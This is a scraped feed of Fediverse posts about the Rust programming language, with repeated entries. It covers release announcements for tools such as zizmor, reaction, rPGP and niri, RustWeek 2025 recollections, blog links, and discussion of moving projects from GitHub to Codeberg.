During the weekends, I try to finish reading a fantasy book or two, if I'm feeling reaaaaally cozy 
I will be posting about techy stuff that I encounter (mainly #nix and #rust), share my gaming experiences, and rant about random things, ranging from politics to personal life.
And I like to sip a cup of coffee while watching camping videos, too, for some reason. 
Feel free to follow me if you want to hear more of my blabbing! 
PS: I will put distressing or NSFW posts behind CW. 
I have long planned to write a utility for synchronizing #Snac profiles with the #Nex blog, and I recently published its initial release:
https://codeberg.org/postscriptum/snac2nex
Additionally, I want to create a local copy of media data so that it can be accessed without going out into the HTTP space.
wizard.casa
Federated social network
I have long planned to write a utility for synchronizing #Snac profiles with the #Nex blog, and I recently published its initial release:
https://codeberg.org/postscriptum/snac2nex
Additionally, I want to create a local copy of media data so that it can be accessed without going out into the HTTP space.
wizard.casa
Federated social network
I have long planned to write a utility for synchronizing #Snac profiles with the #Nex blog, and I recently published its initial release:
https://codeberg.org/postscriptum/snac2nex
Additionally, I want to create a local copy of media data so that it can be accessed without going out into the HTTP space.
wizard.casa
Federated social network
Got my first real PR merged into @servo today :)
github.com
This PR removes unwind-sys usage from background_hang_monitor on Linux, replacing it with the backtrace crate. Testing: hang_monitor-tests.rs still pass after the change (on Ubuntu 24.04). Fixes: #...
A Newbie's First Contribution to (Rust for) Linux https://lobste.rs/s/7d4on3 #linux #rust
https://blog.buenzli.dev/rust-for-linux-first-contrib/
blog.buenzli.dev
A Newbie's First Contribution to (Rust for) Linux https://lobste.rs/s/7d4on3 #linux #rust
https://blog.buenzli.dev/rust-for-linux-first-contrib/
blog.buenzli.dev
I am slowly oxidizing my unix CLI. A lot of people have made rust based versions of common unix utilities and some of them are REALLY good.
Like fd-find for doing essentially find . -name blah. And rg (ripgrep) which does grep -R but it's aware of git, files like pyc or .bak files, and it excludes them by default.
Now I have sd which is hopefully replacing the last thing I used perl for. I write perl -pi -e s/x/y/g a lot. Just doing a quick string replace inside a file. So sd can start doing that.
I'm also trying to get used to zellij instead of tmux and starship for modern prompt decorations like the kids do.
These kids, my friends, are welcome on my lawn.
rustutils.com
Got my first real PR merged into @servo today :)
github.com
This PR removes unwind-sys usage from background_hang_monitor on Linux, replacing it with the backtrace crate. Testing: hang_monitor-tests.rs still pass after the change (on Ubuntu 24.04). Fixes: #...
zizmor v1.10.0 is released!
this is a *huge* new release in terms of features, bugfixes, and enhancements. just to highlight a few:
* zizmor's new experimental fix mode is now available! users can use `--fix=[MODE]` to control it; see the docs for more: https://docs.zizmor.sh/usage/#auto-fixing-results
* the new anonymous-definition audit flags unnamed workflows and jobs for the pedantic persona: https://docs.zizmor.sh/audits/#anonymous-definition
* zizmor's location/fixture core has been rewritten to support "subfeatures," meaning that many audits now produce much nicer/more precise finding renders that are easier to read
read the full release notes here: https://docs.zizmor.sh/release-notes/#1100
docs.zizmor.sh
Abbreviated change notes about each zizmor release.
zizmor v1.10.0 is released!
this is a *huge* new release in terms of features, bugfixes, and enhancements. just to highlight a few:
* zizmor's new experimental fix mode is now available! users can use `--fix=[MODE]` to control it; see the docs for more: https://docs.zizmor.sh/usage/#auto-fixing-results
* the new anonymous-definition audit flags unnamed workflows and jobs for the pedantic persona: https://docs.zizmor.sh/audits/#anonymous-definition
* zizmor's location/fixture core has been rewritten to support "subfeatures," meaning that many audits now produce much nicer/more precise finding renders that are easier to read
read the full release notes here: https://docs.zizmor.sh/release-notes/#1100
docs.zizmor.sh
Abbreviated change notes about each zizmor release.
In case anyone was wondering, yes my project Wordforge is effectively abandoned. I graduated and got a job last year and haven't had the time to work on it. It's a shame really since I really wanted to see something like this on the fediverse, but such is life.
If anyone wants to take over, feel free.
https://codeberg.org/grafcube/wordforge
#wordforge #opensource #foss #fediverse #activitypub #rust #leptos
codeberg.org
Federated creative writing server.
In case anyone was wondering, yes my project Wordforge is effectively abandoned. I graduated and got a job last year and haven't had the time to work on it. It's a shame really since I really wanted to see something like this on the fediverse, but such is life.
If anyone wants to take over, feel free.
https://codeberg.org/grafcube/wordforge
#wordforge #opensource #foss #fediverse #activitypub #rust #leptos
codeberg.org
Federated creative writing server.
Readings shared June 25, 2025. https://jaalonso.github.io/vestigium/posts/2025/06/26-readings_shared_06-25-25 #Haskell #FunctionalProgramming #Rust
jaalonso.github.io
The readings shared in Bluesky on 25 June 2025 are Competitive programming in Haskell: range queries, classified. ~ Brent Yorgey. #Haskell #FunctionalProgramming Comparing codes: The sliding window i
#reaction 's v2.1.0 is published!
News:
- big performance improvements on regex matching 🚀
- new 'trigger' command to manually ban IPs 👋 (or whatever you're doing with reaction!)
- 'oneshot' actions option, useful for alerting 🚨
https://framagit.org/ppom/reaction/-/releases/v2.1.0
reaction is a software which aims to replace #fail2ban on UNIX servers, while being faster, more flexible, an nicer to configure.
#rust #monitoring #alerting #security
framagit.org
Changes New Features One shot actions
#reaction 's v2.1.0 is published!
News:
- big performance improvements on regex matching 🚀
- new 'trigger' command to manually ban IPs 👋 (or whatever you're doing with reaction!)
- 'oneshot' actions option, useful for alerting 🚨
https://framagit.org/ppom/reaction/-/releases/v2.1.0
reaction is a software which aims to replace #fail2ban on UNIX servers, while being faster, more flexible, an nicer to configure.
#rust #monitoring #alerting #security
framagit.org
Changes New Features One shot actions
Comparing codes: The sliding window in Haskell & Rust. ~ James Bowen. https://mmhaskell.com/blog/2025/6/23/the-sliding-window-in-haskell-amp-rust #Haskell #FunctionalProgramming #Rust
mmhaskell.com
2. https://github.com/bevyengine/bevy/pull/19196
Improved example descriptions for our fog example :) Straightforward and clear; I really love this work.
Module docs in examples are a really nice #rust patern; you can give a lot of helpful context and motivation. With a review from Charlotte, it's time to merge!
github.com
This is a bit of a test case in writing the explanation for an example whose subject (DistanceFog as a component on cameras) is the focus, but isn't that complicated either. Not certain if this...
Alright, with the help of a little bit of Earl Grey, I'm feeling ready for my weekly #bevymergetrain. A little sleep deprivation won't stop me from doing a final pass on the community approved #opensource #rust PRs for Bevy!
Follow along, as we review the 11 PRs in our backlog :)
🦀🧀🐀
Just a quick reminder - there’s a very cheesy #rust challenge happening over at Ratatui!
Whether you’re building something wild with Ratatui or want to cook up something new and unexpected, I highly encourage you to submit it!
🔗https://github.com/ratatui/ratatui/discussions/1886
#RATINTHEWILD Rat in The Wild Challenge Push Rust & Ratatui to the limit Get crazy | Get cheesy Winner prize: cooking apron organized by ratatui.rs
🦀🧀🐀
Just a quick reminder - there’s a very cheesy #rust challenge happening over at Ratatui!
Whether you’re building something wild with Ratatui or want to cook up something new and unexpected, I highly encourage you to submit it!
🔗https://github.com/ratatui/ratatui/discussions/1886
#RATINTHEWILD Rat in The Wild Challenge Push Rust & Ratatui to the limit Get crazy | Get cheesy Winner prize: cooking apron organized by ratatui.rs
Two RFCs have finished FCP, so in the near future you'll be able to have attribute & derive macros that are declarative (i.e. not proc macros).
Thanks @josh for writing these up. Looking forward to RFC 3714, which will render many proc macros obsolete.
https://github.com/rust-lang/rfcs/pull/3697
https://github.com/rust-lang/rfcs/pull/3698
github.com
Many crates support deriving their traits with derive(Trait). Today, this requires defining proc macros, in a separate crate, typically with several additional dependencies adding substantial compi...
Hello #rust people 🦀
Am I correct in my understanding that to use or manage rust crates I would need a #GitHub login?
Looking at crates.io and this github issue[1] from 2016 it seems that using Microsoft's GitHub is the only way to login or publish. Is that still the case?
I'm rather reluctant to go back to using GitHub having given up GitHub[2] some years ago.
[1] https://github.com/rust-lang/crates.io/issues/326
sfconservancy.org
The Software Freedom Conservancy provides a non-profit home and services to Free, Libre and Open Source Software (FLOSS) projects.
We are basically doing what #signal and in particular moxie refused to do or declares impossible: federation.
Both #email and #activitypub ecosystems are all about federation.
However, #deltachat is vertically centralized in that all UIs use the same #rust core which implements all networking, encryption, chat/group/message logic in a single centralized place. The now 40+ #chatmail mail relay network is driven from centralized code.
At each level replication and federation is built in.
#jeRecrute (pas moi) développement backend en #rust #rustlang chez #GreenGot banque "éthique" 100℅ télétravail CDI
notion.so
A tool that connects everyday work into one space. It gives you and your teams AI tools—search, writing, note-taking—inside an all-in-one, flexible workspace.
We are basically doing what #signal and in particular moxie refused to do or declares impossible: federation.
Both #email and #activitypub ecosystems are all about federation.
However, #deltachat is vertically centralized in that all UIs use the same #rust core which implements all networking, encryption, chat/group/message logic in a single centralized place. The now 40+ #chatmail mail relay network is driven from centralized code.
At each level replication and federation is built in.
Wrote a new blog post describing the recent optimizations on integer to string conversions in Rust: https://blog.guillaume-gomez.fr/articles/2025-06-19+Rust%3A+Optimizing+integer+to+string+conversions
Enjoy!
Blog of Guillaume Gomez (Rust: Optimizing integer to string conversions)
pondering my professional future and probing if this is a feasible idea…
I would love to contribute to #foss full time. design for #GNOME. create new #retro games for #NES and #GameBoy. port SparkleShare to #Rust and maintain it. create a whole bunch of new GNOME #Flatpak apps.
would you donate a recurring monthly amount to make this happen? 💭
Today we're switching the bzip2 crate from C to 100% rust!
The bzip2 crate is now memory-safe, faster and easier to cross-compile.
https://trifectatech.org/blog/bzip2-crate-switches-from-c-to-rust/
Thanks to: @alex_crichton, @ros , and @nlnet
This project was funded through the e-Commons Fund, a fund established by NLnet Foundation with financial support from the @minbzk .
trifectatech.org
Today we're switching the bzip2 crate from C to 100% rust!
The bzip2 crate is now memory-safe, faster and easier to cross-compile.
https://trifectatech.org/blog/bzip2-crate-switches-from-c-to-rust/
Thanks to: @alex_crichton, @ros , and @nlnet
This project was funded through the e-Commons Fund, a fund established by NLnet Foundation with financial support from the @minbzk .
trifectatech.org
Comparing codes: Two pointer algorithms. ~ James Bowen. https://mmhaskell.com/blog/2025/6/16/two-pointer-algorithms #Haskell #FunctionalProgramming #Rust
mmhaskell.com
infosec.place
infosec.place
piggo.space
I wish there was a “#Rust for people who have only been working in script and high level languages before" course because ughhh I could use it.
We just published all talks from RustWeek 2025 🦀 🌎
Clear your calendars: 25+ hours and 54 talks worth of amazing Rust content!
https://www.youtube.com/playlist?list=PL8Q1w7Ff68DCEXiGidlM0DMn8ztjlUlez
youtube.com
All talks from RustWeek 2025 https://rustweek.org/ May 13&14, 2025. Utrecht, The Netherlands. Join us next year? Sign up here: https://2026.rustweek.org/
Readings shared June 9, 2025. https://jaalonso.github.io/vestigium/posts/2025/06/09-readings_shared_06-09-25 #AI #AIforMath #CategoryTheory #FunctionalProgramming #Haskell #ITP #IsabelleHOL #LLMs #LeanProver #Logic #LogicProgramming #Math #Prolog #Rust
jaalonso.github.io
The readings shared in Bluesky on 9 June 2025 are Formalizing invisible mathematics: case studies from higher category theory. ~ Emily Riehl. #ITP #LeanProver #Math #CategoryTheory Sequencelib: A pla
Comparing code: Spatial reasoning with zigzag patterns! ~ James Bowen. https://mmhaskell.com/blog/2025/6/9/spatial-reasoning-with-zigzag-patterns #Haskell #FunctionalProgramming #Rust
mmhaskell.com
APx is finally available on crates.io / docs.rs
https://docs.rs/apx_sdk/latest/apx_sdk/
This is an ActivityPub library used internally in Mitra and in other my projects.
Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).
The license is AGPL-3, but I might consider changing it to a more permissive one.
mitra.social
Federated social network
APx is finally available on crates.io / docs.rs
https://docs.rs/apx_sdk/latest/apx_sdk/
This is an ActivityPub library used internally in Mitra and in other my projects.
Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).
The license is AGPL-3, but I might consider changing it to a more permissive one.
mitra.social
Federated social network
APx is finally available on crates.io / docs.rs
https://docs.rs/apx_sdk/latest/apx_sdk/
This is an ActivityPub library used internally in Mitra and in other my projects.
Unlike some other ActivityPub libraries, this library is low-level. It doesn't restrict what databases or frameworks could be used, and doesn't care about object types or properties. There are only URIs, keys, signatures, JSON documents and HTTP requests.
It also contains primitives for building nomadic applications (FEP-ef61).
The license is AGPL-3, but I might consider changing it to a more permissive one.
mitra.social
Federated social network
I wrote some ST7789 screen driver Rust code which just takes bytes from memory and flushes them into the screen. It seems to work but somehow the screen turns completely white less than one second after the memory write operation. This used to work fine, so I was wondering if maybe some other driver was interfering with the SPI, but nope, I disabled everything else and it still does that. I wrote a small test program which uses a different library to speak to the ST, and it works just fine. I am probably doing something wrong somewhere, BUT THEN WHY WAS IT WORKING OK BEFORE? I suspect some weird timing issues. Or maybe my driver code is being optimized by the compiler somehow, and things are not being done in the correct order?
I will probably plug in a logic analyzer tomorrow, but if anyone has any tips on how to debug it...
@nimda @silverpill by the way, take a look at #Mycelium - similar 0400::/7 network, originally written in #Rust
https://github.com/threefoldtech/mycelium
I have created this list yesterday, pretty small yet:
https://github.com/YGGverse/mycelium-catalog
github.com
The Mycelium catalog. Contribute to YGGverse/mycelium-catalog development by creating an account on GitHub.
I might be overdoing this whole #RDF and #LinkedData thing, but… here's the first steps with #Trinja, a RDF-to-HTML mapper and #SSG:
https://codeberg.org/Taganak/trinja/src/branch/main/example.ttl
The idea is: Use *any* resource described as RDF (e.g. from #Wikidata or an #ActivityPub action), link a #Jinja template to it or its rdf:type in your own set of statements, and there you got your visualisation!
Based on #TaganakNet, the #Rust #RDF development kit by @codecraft and me. We are collecting real-world examples at a good rate!
Screenshot of a Turtle document; see linked code in post for text version.
A quite basic web page with heading "Ninja Turtles", followed by four cards with names and depictions of the four Ninja Turtles Leonardo, Raphael, Donatello and Michelangelo.
Hi, I'm Matúš (pronounced as Matuush). I like programming in #rust and #nix. I also like playing Factorio.
This is a continuation of an account @ThatGuyMatus . I started this account because I lost access to the second factor for this account.
Anyway, what I'll be posting here?
- New blog releases (yes, I have a blog over at https://typekmatus.blogspot.com)
- Project announcements
- And more.
typekmatus.blogspot.com
Blog o roznych veciach
EasyTier – P2P mesh VPN written in Rust using Tokio
#HackerNews #EasyTier #P2P #mesh #VPN #Rust #Tokio #Networking #Security
easytier.cn
EasyTier official
New release: #rPGP version 0.16.0 🧰🔐✨
https://github.com/rpgp/rpgp/releases/tag/v0.16.0
#OpenPGP implemented in pure #Rust, permissively licensed
This release features streaming message support: Now rPGP can process arbitrarily large messages, with modest memory requirements.
It adds experimental support for the upcoming OpenPGP #PQC IETF standard https://datatracker.ietf.org/doc/html/draft-ietf-openpgp-pqc
This release also brings various improvements for key generation, support for X448/Ed448, and many minor fixes.
datatracker.ietf.org
This document defines a post-quantum public-key algorithm extension for the OpenPGP protocol. Given the generally assumed threat of a cryptographically relevant quantum computer, this extension provides a basis for long-term secure OpenPGP signatures and ciphertexts. Specifically, it defines composite public-key encryption based on ML- KEM (formerly CRYSTALS-Kyber), composite public-key signatures based on ML-DSA (formerly CRYSTALS-Dilithium), both in combination with elliptic curve cryptography, and SLH-DSA (formerly SPHINCS+) as a standalone public key signature scheme.
Fascinating write-up of bug-chasing locks in a globally distributed system
fly.io
Gnarliest Rust proxy bug yet.
zizmor 1.9.0 is released!
this is not a very big release in terms of visible features, but it comes with a handful of bugfixes and a lot of internal changes. in particular, the `template-injection` audit should both be faster overall *and* more correct/sensitive to true findings, thanks to a significant internal refactor.
full release notes here:
docs.zizmor.sh
Abbreviated change notes about each zizmor release.
zizmor 1.9.0 is released!
this is not a very big release in terms of visible features, but it comes with a handful of bugfixes and a lot of internal changes. in particular, the `template-injection` audit should both be faster overall *and* more correct/sensitive to true findings, thanks to a significant internal refactor.
full release notes here:
docs.zizmor.sh
Abbreviated change notes about each zizmor release.
so this is happening.
All my #Rust #RustLang repos are moved over. Now I just need to figure out CI, republish to crates.io, and archive the github side (and document a tombstone in their readmes).
I have a bunch of other repos I'll either archive or delete as well.
#KDL and #orogene will remain github-side for now because they're a bit more dependent on github services, but I would like to at least move orogene over eventually. KDL might be stuck, though, unfortunately, but I might move only kdl-rs.
screenshot of zkat's profile page on codeberg.org showing a number of Rust projects, including miette.
Nova: A JavaScript and WebAssembly engine written in Rust
#HackerNews #Nova #JavaScript #WebAssembly #Rust #Engine #Technology
trynova.dev
Nova is a JavaScript and WebAssembly engine written in Rust and following data-oriented design principles
New release: #rPGP version 0.16.0 🧰🔐✨
https://github.com/rpgp/rpgp/releases/tag/v0.16.0
#OpenPGP implemented in pure #Rust, permissively licensed
This release features streaming message support: Now rPGP can process arbitrarily large messages, with modest memory requirements.
It adds experimental support for the upcoming OpenPGP #PQC IETF standard https://datatracker.ietf.org/doc/html/draft-ietf-openpgp-pqc
This release also brings various improvements for key generation, support for X448/Ed448, and many minor fixes.
datatracker.ietf.org
This document defines a post-quantum public-key algorithm extension for the OpenPGP protocol. Given the generally assumed threat of a cryptographically relevant quantum computer, this extension provides a basis for long-term secure OpenPGP signatures and ciphertexts. Specifically, it defines composite public-key encryption based on ML- KEM (formerly CRYSTALS-Kyber), composite public-key signatures based on ML-DSA (formerly CRYSTALS-Dilithium), both in combination with elliptic curve cryptography, and SLH-DSA (formerly SPHINCS+) as a standalone public key signature scheme.
k23 (the Wasm OS) just got a shiny new async executor! But we need your help:
The executor is likely full of concurrency bugs, deadlocks and worse.
So if you want to help out the project an absolute ton head over here and help get kasync tested:
https://github.com/JonasKruckenberg/k23/issues/464
github.com
The kasync executor is the centerpiece of multitasking for k23. It needs to be absolutely rock solid. Unfortunately, the testing situation is quite lackluster at the moment and I have experienced a...
Since we are on this journey of figuring out how supply chain reviews could work for bigger #Rust projects (at the moment only for us) we noticed that many crates include tests or benchmarks in their published crate. That not only bloats the size of these crates when they are downloaded, but also increases the amount of work needed to review them. Lately rustls-webpki removed over 40k (!) lines of tests, making it much easier to review! That is awesome to see! 🙏
https://diff.weiznich.de/rustls-webpki/0.103.1/0.103.3/tests
diff.weiznich.de
View what is changed between different versions of crates published on crates.io.
Andy Balaam does in-depth videos about programming in many different languages, especially Rust. You can follow at:
➡️ @andybalaam@video.infosec.exchange
There are already over 300 videos uploaded, if these haven't federated to your server yet you can browse them all at https://video.infosec.exchange/a/andybalaam/videos
You can also follow Balaam's general account at @andybalaam@mastodon.social
#FeaturedPeerTube #Programming #Coding #Rust #SoftwareDevelopment #PeerTube #PeerTubers
video.infosec.exchange
Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.
Andy Balaam does in-depth videos about programming in many different languages, especially Rust. You can follow at:
➡️ @andybalaam@video.infosec.exchange
There are already over 300 videos uploaded, if these haven't federated to your server yet you can browse them all at https://video.infosec.exchange/a/andybalaam/videos
You can also follow Balaam's general account at @andybalaam@mastodon.social
#FeaturedPeerTube #Programming #Coding #Rust #SoftwareDevelopment #PeerTube #PeerTubers
video.infosec.exchange
Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.
For my indie game studio, I made a Discord community for updates, playtesting and feedback discussions. Feel free to join to follow my work:
(I will still post updates here, of course.)
discord.com
Myonenpixel Studio is a solo indie game studio. I post development updates and ask for playtesting and feedback in this community. | 9 members
The Rust GCC backend can now fully bootstrap the Rust compiler. Excellent work from FractalFir in their GSoC (which starts in one week XD).
More information here: https://www.reddit.com/r/rust/comments/1ktph3c/media_the_gcc_compiler_backend_can_now_fully/
reddit.com
🌀 Introducing **Chakra** - a blazing fast in-browser WebAssembly runtime for builders.
```sh
chakra myfile.wasm
```
– Runs WASM in-browser with logs
– Supports Rust, TinyGo, C, Asc and Python
– One-line introspection & verify commands
Chakra is an open source project and we're building it *with the community*.
🌟 https://github.com/anistark/chakra
📖 Read more: https://blog.anirudha.dev/chakra
Give us a shout-out or star the repo on github if you like the idea. 🙌
blog.anirudha.dev
Unleashing lightweight execution for the modular web and beyond
The Rust GCC backend can now fully bootstrap the Rust compiler. Excellent work from FractalFir in their GSoC (which starts in one week XD).
More information here: https://www.reddit.com/r/rust/comments/1ktph3c/media_the_gcc_compiler_backend_can_now_fully/
reddit.com
@deadparrot @skade I can well believe that the #Rust language has features that promote lower defect rates overall.
However, there are many other compounding factors.
E.g. a team reimplementing a system in *any* language they are familiar with almost always has lower defect rates.
Today's Rust teams *are* typically more experienced, which you would hope leads to lower defect rates (you would hope!) - note that this is a point-in-time statement. 1/
@skade @deadparrot We are still not in a place where we have sufficient good data, but my observations are that for #Rust projects a) defect rates are lower (perhaps significantly lower) b) overall project failure rates are *not* lower (& may in fact be higher) c) Experienced programmers are more expensive (& in shorter supply) d) There are significant (re)training costs to onboard new programmers - I agree with Florian that things are improving but right now the pipeline is still fairly weak 1/
People again mentioned the supposedly high learning curve of #Rust.
I think the whole discussion is wrong. Rust is not hard to learn. The compiler constantly supports you.
It's hard to unlearn old habits we acquired over decades from other PLs. That's the issue.
Readings shared May 20, 2025. https://jaalonso.github.io/vestigium/posts/2025/05/20-readings_shared_05-20-25 #Agda #Emacs #FunctionalProgramming #Haskell #HoTT #ITP #LeanProver #Logic #Math #OrgMode #Python #Rust #SAT_solvers #TypeTheory
jaalonso.github.io
The readings shared in Bluesky on 20 May 2025 are Formalising the Bruhat-Tits tree. ~ Judith Ludwig, Christian Merten. #ITP #LeanProver Ordinal exponentiation in homotopy type theory. ~ Tom de Jong,
In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:
Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?
I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?
Boosts and ideas welcome!
If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: https://discord.gg/fcSeuv56qp and https://matrix.to/#/%23nohub:matrix.org
matrix.to
You're invited to talk on Matrix
Comparing code: LeetCode problems in Rust vs. Haskell. ~ James Bowen. https://mmhaskell.com/blog/2025/5/19/comparing-code-leetcode-problems-in-rust-vs-haskell #Haskell #FunctionalProgramming #Rust
mmhaskell.com
In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:
Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?
I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?
Boosts and ideas welcome!
If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: https://discord.gg/fcSeuv56qp and https://matrix.to/#/%23nohub:matrix.org
matrix.to
You're invited to talk on Matrix
In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:
Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?
I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?
Boosts and ideas welcome!
If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: https://discord.gg/fcSeuv56qp and https://matrix.to/#/%23nohub:matrix.org
matrix.to
You're invited to talk on Matrix
「Vim」はちょっと……MicrosoftがWindows標準CLIテキストエディター「Edit」を発表／「ターミナル」などで動作、「Rust」で新規開発
https://forest.watch.impress.co.jp/docs/news/2015418.html
forest.watch.impress.co.jp
米Microsoftは5月19日（現地時間）、Windows用の新しいコマンドラインテキストエディター「Edit」を発表した。数カ月以内に「Windows Insider Program」でプレビューされたのち、「Windows 11」の一部として出荷される予定だという。
「Vim」はちょっと……MicrosoftがWindows標準CLIテキストエディター「Edit」を発表／「ターミナル」などで動作、「Rust」で新規開発
https://forest.watch.impress.co.jp/docs/news/2015418.html
forest.watch.impress.co.jp
米Microsoftは5月19日（現地時間）、Windows用の新しいコマンドラインテキストエディター「Edit」を発表した。数カ月以内に「Windows Insider Program」でプレビューされたのち、「Windows 11」の一部として出荷される予定だという。
In light of GitHub going full genAI agents, which will likely lead to a flood of garbage PRs that will make dependabot nags a joke:
Would other foss maintainers with projects on GitHub be interested in some kind of event where we all get together and try moving our projects over to @Codeberg?
I’m thinking of it as a way to both promote our foss projects, provide mutual support during the moves, find solutions to small cuts we run into along the way, and just generally have fun together?
Boosts and ideas welcome!
If anyone is interested in talking more about this or participating, even if you’re not a core maintainer for a project, I’ve created Discord and Matrix places we can start chatting in: https://discord.gg/fcSeuv56qp and https://matrix.to/#/%23nohub:matrix.org
matrix.to
You're invited to talk on Matrix
A week in Utrecht is over and I'm quite happy. My first real vacation after more than ... well...to be honest, I'm not sure when did I have at least a full week vacation, just me and my lovely wife. Probably almost two years ago?
During the week, I had an actual skin care routine, I've exercised in the mornings, I've eaten in regular intervals, I've been on top of Utrecht Dom Tower, I've tasted best fish and chips in Utrecht, I've been to a small drag show and much more.
And, we've attended the biggest (so far) Rust conference, full of amazing people. It was very well organized, the venue (a big cinema complex) was a good choice, we could even go to see a movie directly after the last talk (Sinners, go see it, it's a fun movie), a variety of possible networking spaces, enough space for vendor stands, plenty of side activities (small guided Utrecht tour was a great choice).
Will definitely come next year.
#rust #rustweek #rustweek2025 #netherlands #utrecht
On my way back home after RustWeek 2025. So, so proud that we hosted the Rust Project All-Hands, the 10 years of Rust celebration, and the biggest Rust conference yet. See you all next year!
Thanks to my co-organizers Jana, @redshifts, @terts and @Mara ❤️
RustWeek flags
RustWeek closing with all speakers on stage
10 years of Rust Celebration - by rust-lang.org
RustWeek opening
A week in Utrecht is over and I'm quite happy. My first real vacation after more than ... well...to be honest, I'm not sure when did I have at least a full week vacation, just me and my lovely wife. Probably almost two years ago?
During the week, I had an actual skin care routine, I've exercised in the mornings, I've eaten in regular intervals, I've been on top of Utrecht Dom Tower, I've tasted best fish and chips in Utrecht, I've been to a small drag show and much more.
And, we've attended the biggest (so far) Rust conference, full of amazing people. It was very well organized, the venue (a big cinema complex) was a good choice, we could even go to see a movie directly after the last talk (Sinners, go see it, it's a fun movie), a variety of possible networking spaces, enough space for vendor stands, plenty of side activities (small guided Utrecht tour was a great choice).
Will definitely come next year.
#rust #rustweek #rustweek2025 #netherlands #utrecht
On my way back home after RustWeek 2025. So, so proud that we hosted the Rust Project All-Hands, the 10 years of Rust celebration, and the biggest Rust conference yet. See you all next year!
Thanks to my co-organizers Jana, @redshifts, @terts and @Mara ❤️
RustWeek flags
RustWeek closing with all speakers on stage
10 years of Rust Celebration - by rust-lang.org
RustWeek opening
On my way back home after RustWeek 2025. So, so proud that we hosted the Rust Project All-Hands, the 10 years of Rust celebration, and the biggest Rust conference yet. See you all next year!
Thanks to my co-organizers Jana, @redshifts, @terts and @Mara ❤️
RustWeek flags
RustWeek closing with all speakers on stage
10 years of Rust Celebration - by rust-lang.org
RustWeek opening
After long 3 months of work, I'm glad to release niri v25.05 with the Overview, screenshot UI tablet and touch support, dynamic screencast target and windowed fullscreen, IPC pick-window and pick-color, window urgency, and lots of other things! 
Release notes prepared for your reading pleasure as always: https://github.com/YaLTeR/niri/releases/tag/v25.05
Entering the Overview in niri, scrolling around workspaces and windows, dragging windows around.
Selecting and confirming a screenshot in niri on a touchscreen.
People asked for my jokes from Rust Week. Here they are. Pull requests welcome!
github.com
People asked for my jokes from Rust Week 2025. Create a PR to add your own! - mre/rust-jokes
Not sure why, but I can't seem to get building of a rust rubygem working: https://github.com/oxidize-rb/rb-sys/issues/545
github.com
I've just created a new package using bundle gem --ext=rust pdqhash, then I've run bundle install. When running bundle exec rake compile VERBOSE=1, I get the following output: $ bundle exec rake co...
Thanks to Kobzol for making this, which I've been meaning to do for a few years and keep forgetting to actually do: look at the evolution of the #Rust compiler errors over time
https://kobzol.github.io/rust/rustc/2025/05/16/evolution-of-rustc-errors.html
I also agree 100% with the take aways.
I'm looking forward to seeing how these get even better.
kobzol.github.io
Blog about programming stuff.
Thanks to Kobzol for making this, which I've been meaning to do for a few years and keep forgetting to actually do: look at the evolution of the #Rust compiler errors over time
https://kobzol.github.io/rust/rustc/2025/05/16/evolution-of-rustc-errors.html
I also agree 100% with the take aways.
I'm looking forward to seeing how these get even better.
kobzol.github.io
Blog about programming stuff.
Introducing Pyrefly: A new type checker and IDE experience for Python https://lobste.rs/s/czvto8 #plt #python #rust
https://engineering.fb.com/2025/05/15/developer-tools/introducing-pyrefly-a-new-type-checker-and-ide-experience-for-python/
engineering.fb.com
Today we are announcing an alpha version of Pyrefly, an open source Python type checker and IDE extension crafted in Rust. Pyrefly is a static typechecker that analyzes Python code to ensure type c…
Introducing Pyrefly: A new type checker and IDE experience for Python https://lobste.rs/s/czvto8 #plt #python #rust
https://engineering.fb.com/2025/05/15/developer-tools/introducing-pyrefly-a-new-type-checker-and-ide-experience-for-python/
engineering.fb.com
Today we are announcing an alpha version of Pyrefly, an open source Python type checker and IDE extension crafted in Rust. Pyrefly is a static typechecker that analyzes Python code to ensure type c…
Introducing Pyrefly: A new type checker and IDE experience for Python https://lobste.rs/s/czvto8 #plt #python #rust
https://engineering.fb.com/2025/05/15/developer-tools/introducing-pyrefly-a-new-type-checker-and-ide-experience-for-python/
engineering.fb.com
Today we are announcing an alpha version of Pyrefly, an open source Python type checker and IDE extension crafted in Rust. Pyrefly is a static typechecker that analyzes Python code to ensure type c…
My #RustLang experience started literally 10 years ago, when #Rust 1.0 came out. I'd been hearing about it for a while, it seemed interesting, and it sounded like a nice round number to jump in. The documentation was excellent, but applying those concepts in practice was harder than I anticipated, so I bounced out. Over the holidays that year I had a week off and decided to give it another chance. In the meantime, the tooling and documentatio had gotten better, and this time it stuck.
